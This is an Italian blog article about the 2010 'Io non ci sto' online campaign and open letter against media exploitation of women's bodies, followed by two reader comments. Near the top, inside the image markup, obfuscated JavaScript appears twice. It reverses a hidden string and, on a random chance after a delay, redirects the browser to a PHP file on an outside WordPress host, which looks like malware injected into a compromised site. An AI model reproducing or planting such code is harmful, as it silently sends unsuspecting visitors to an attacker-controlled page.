"Io non ci sto!" Parte in Rete la campagna contro l'utilizzo del corpo della donna

image_pdfimage_print

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/11/io_non_ci_sto_claim_grande-ridotto.jpg”>$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande ridotto” src=”http://www.altracitta.org/wp-content/uploads/2010/11/io_non_ci_sto_claim_grande-ridotto-300×225.jpg” alt=”” width=”300″ height=”225″ />
Lo slogan della campagna

Dalla Rete una  incrementato senza misura anche in seguito alle recenti vicende scandalistiche della politica.

Dove finisce il corretto dovere di cronaca sulle vicende di chi ci dovrebbe rappresentare politicamente e dove comincia il perverso gioco al solletico del voyeurismo del pubblico? E’ ciò che si chiedono le firmatarie ed i firmatari di una  scritta in seguito alle recenti vicende che hanno avuto per tema i presunti o effettivi scandali sessuali dei politici.

“Siamo stanche e siamo indignate” comincia così il testo della lettera, che si propone di chiedere ai media di “smettere di sfruttare il corpo delle donne in modo massiccio e gratuito” perché “Se non iniziamo a comprendere che è, in primis, attraverso i media che si perpetra la subcultura sessista che da tempo ci ammorba (siamo al 74° posto per le pari opportunità nel mondo e definirci anche solo civili da questo punto di vista sta diventando un problema), in questo Paese non cambierà mai nulla. Muteranno le facce, ma non la sostanza.” L’invito ai firmatari (600 su Facebook in poco più di due giorni) è quello di non comprare testate o guardare programmi che sfruttino il corpo delle donne, e di scrivere alle redazioni per manifestare il proprio dissenso ogni qual volta un servizio ne faccia uso in modo eccessivo e gratuito.

L’iniziativa fa parte della campagna IO NON CI STO agli stereotipi promossa da Giorgia Vezzoli –Vita da streghe, Francesca Sanzo – Associazione Donne Pensanti, Maria Grazia Verderame – Un altro genere di comunicazione e Lorenza Garbolino – Una nuova era. Lanciata con un’iniziativa di protesta nei confronti del programma tv La pupa e il secchione, la campagna si propone di abbattere le gabbie degli stereotipi di genere presenti sui media per favorire la diffusione di una cultura e di una mentalità paritaria. Manifesto della campagna è un testo poetico che reclama la dignità della donna sui media e che chiunque può diffondere all’interno dei propri blog, siti o nelle inizia tive a favore delle donne.

QUI seguito il testo integrale della lettera aperta:

http://www.donnepensanti.net/2010/11/io-non-ci-sto-basta-con-il-voyeurismo-mediatico-sui-corpi-delle-donne-firma-e-passaparola/


PER ULTERIORI INFORMAZIONI:

La lettera aperta
http://www.donnepensanti.net/2010/11/io-non-ci-sto-basta-con-il-voyeurismo-mediatico-sui-corpi-delle-donne-firma-e-passaparola/

L’evento su Facebook
http://www.facebook.com/#!/event.php?eid=166649126690336

La campagna IO NON CI STO agli stereotipi
http://vitadastreghe.blogspot.com/2010/05/io-non-ci-sto_10.html

Contatti
info.iononcisto@gmail.com

0 Comments

  1. Dario Colombera

    Non credo che una società possa essere felice e sopravvivere considerando la donna la porta dell’inferno, un essere inferiore, al quale da poco abbiamo concesso l’ipotesi dell’anima e il diritto di voto, Tale atteggiamento si rivela ovunque e soprattutto nei media, dove il corpo della donna viene usato con criteri da mostra bovina, offensivi sia per le donne che per gli uomini.

    Reply
  2. Dario Colombera

    Come si può sperare che si smetta di abusare dell’immagine e del corpo delle donne, si si sfrutta perfino l’immagine di personaggi tipo Dell’Utri.
    Questa matttina, su La7, Dell’Utri pontificava sereno, invece di starsene nel bunker
    Amen

    Reply

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *